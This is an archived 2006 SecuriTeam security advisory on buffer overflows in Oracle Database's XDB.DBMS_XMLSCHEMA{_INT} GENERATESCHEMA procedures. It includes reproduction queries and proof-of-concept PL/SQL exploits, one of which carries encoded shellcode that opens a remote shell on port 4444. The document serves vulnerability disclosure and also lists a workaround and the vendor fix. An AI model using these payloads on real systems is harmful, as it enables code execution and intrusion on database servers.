

# [NT] Oracle Database Public Procedures of XDB.DBMS\_XMLSCHEMA{\_INT} Buffer Overflows

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00001.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 2 Feb 2006 10:52:13 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the S  
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

- - - - -

Oracle Database Public Procedures of XDB.DBMS\_XMLSCHEMA{\_INT} Buffer Overflows

-----

## SUMMARY

Improper length validation of XDB.DBMS\_XMLSCHEMA.GENERATESCHEMA in Oracle Database, allows attackers to execute arbitrary code by using spicily crafted query.

## DETAILS

### Vulnerable Systems:

- \* Oracle Database Server version 9iR2
- \* Oracle Database Server version 10gR1

Oracle Database Server provides the DBMS\_XMLSCHEMA and DBMS\_XMLSCHEMA\_INT Packages that include procedures to register and delete XML schemas. These packages contain the public procedures GENERATESCHEMA and GENERATESCHEMAS that are vulnerable to buffer overflow attacks.

By default XDB.DBMS\_XMLSCHEMA{\_INT} has EXECUTE permission to PUBLIC so any Oracle database user can exploit this vulnerability. Exploitation of this vulnerability allows an attacker to execute arbitrary code. It can also be exploited to cause DOS (Denial of service) killing Oracle server process.

To reproduce the vulnerabilities execute the next PL/SQL:

```
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA('LongStringHere',  
'OrLongStringHere') from dual;
```

```
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMAS('LongStringHere',
```

## [NT] Oracle Database Public Procedures of XDB.DBMS\_XMLSCHEMA{INT} Buffer Overflows

```
'OrLongStringHere') from dual;
```

```
DECLARE
```

```
  a SYS.XMLTYPE; -- return value
```

```
BEGIN
```

```
  a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA ('LongStringHere',  
'OrLongStringHere', '', FALSE, FALSE, FALSE);
```

```
END;
```

```
DECLARE
```

```
  a SYS.XMLSEQUENCETYPE; -- return value
```

```
BEGIN
```

```
  a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMAS ('LongStringHere',  
'OrLongStringHere', '', '', FALSE, FALSE);
```

```
END;
```

Proof of Concept:

Shellcode creates file c:\Unbreakable.txt and writes "ARE YOU SURE?":

```
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a',  
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCCC  
CCCCCABCDE' || chr(212)||chr(100)||chr(201)||chr(01)  
||chr(141)||chr(68)||chr(36)||chr(18)||chr(80)||chr(255)||chr(21)  
||chr(192)||chr(146)||chr(49)||chr(02)||chr(255)||  
chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'echo ARE YOU SURE?'  
>c:\Unbreakable.txt') FROM DUAL;
```

Shellcode opens a shell on port 4444 from www.metasploit.com:

```
DECLARE a SYS.XMLTYPE; -- return value
```

```
AAA VARCHAR2(32767);
```

```
AA VARCHAR2(32767);
```

```
BBB VARCHAR2(32767);
```

```
JMP VARCHAR2(32767);
```

```
RET VARCHAR2(32767);
```

```
RETT VARCHAR2(32767);
```

```
SHELLCODE VARCHAR2(32767);
```

```
BEGIN
```

```
AAA:='A';
```

```
AAA:=AAA || AAA;
```

```
AAA:=AAA || AAA;
```

```
AAA:=AAA || AAA;
```

```
AAA:=AAA || AAA;
```

```
AAA:=AAA || AAA;
```

```
AAA:=AAA || AAA;
```

```
JMP := 'BB' ||chr(235) || chr(09);
```

```
RETT:= chr(138) || chr(153) || chr(255) ||chr(191);
```

```
RET:= chr(219) || chr(176) || chr(10) ||chr(08);
```

```
SHELLCODE
```

```
:=chr(41)||chr(201)||chr(219)||chr(201)||chr(177)||chr(22)||chr(184)||chr(37)  
||chr(84)||chr(39)||chr(117)||chr(217)||chr(116)||chr(36)||chr(244)||chr(95)  
||chr(131)||chr(199)||chr(4)||chr(49)||chr(71)||chr(17)||chr(3)||chr(98)  
||chr(69)||chr(197)||chr(128)||chr(93)||chr(190)||chr(90)||chr(40)||chr(206)  
||chr(42)||chr(95)||chr(196)||chr(150)||chr(242)||chr(198)||chr(145)||chr(183)  
||chr(206)||chr(121)||chr(55)||chr(116)||chr(131)||chr(31)||chr(80)||chr(107)  
||chr(127)||chr(134)||chr(243)||chr(22)||chr(158)||chr(44)||chr(146)||chr(76)  
||chr(49)||chr(224)||chr(12)||chr(229)||chr(80)||chr(207)||chr(49)||chr(69)  
||chr(244)||chr(1)||chr(210)||chr(104)||chr(121)||chr(243)||chr(71)||chr(36)  
||chr(57)||chr(125)||chr(134)||chr(120)||chr(219)||chr(176)||chr(201)||chr(235)  
||chr(78)||chr(73)||chr(147)||chr(187)||chr(176)||chr(128)||chr(163)||chr(242)  
||chr(183)||chr(227)||chr(20)||chr(15)||chr(26)||chr(124)||chr(122)||chr(32)  
||chr(233)||chr(20)||chr(236)||chr(17)||chr(111)||chr(140)||chr(130)||chr(228)  
||chr(140)||chr(28)||chr(8)||chr(127)||chr(179)||chr(108)||chr(46);
```

## [NT] Oracle Database Public Procedures of XDB.DBMS\_XMLSCHEMA{\_INT} Buffer Overflows

```
BBB:= JMP || RET || 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'|SHELLCODE|'
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBB';
AA := AAA || BBB;
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA (SCHEMANAME => AA, TYPENAME =>
'longstring', ELEMENTNAME => '', RECURSE => FALSE, ANNOTATE => FALSE,
EMBEDCOLL => FALSE);
END;
```

### Workaround:

Restrict access to the XDB.DBMS\_XMLSCHEMA and XDB.DBMS\_XMLSCHEMA\_INT packages.

### Vendor Status:

The vendor has issued a fix:

<http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html>  
<http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html>

### ADDITIONAL INFORMATION

The information has been provided by <mailto:cesarc56@xxxxxxxxxx> Cesar.

The original article can be found at:

<http://www.argeniss.com/research/ARGENISS-ADV-010601.txt>

<http://www.argeniss.com/research/ARGENISS-ADV-010601.txt>

The Proof of Concept can be found at:

<http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt>

<http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxx

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,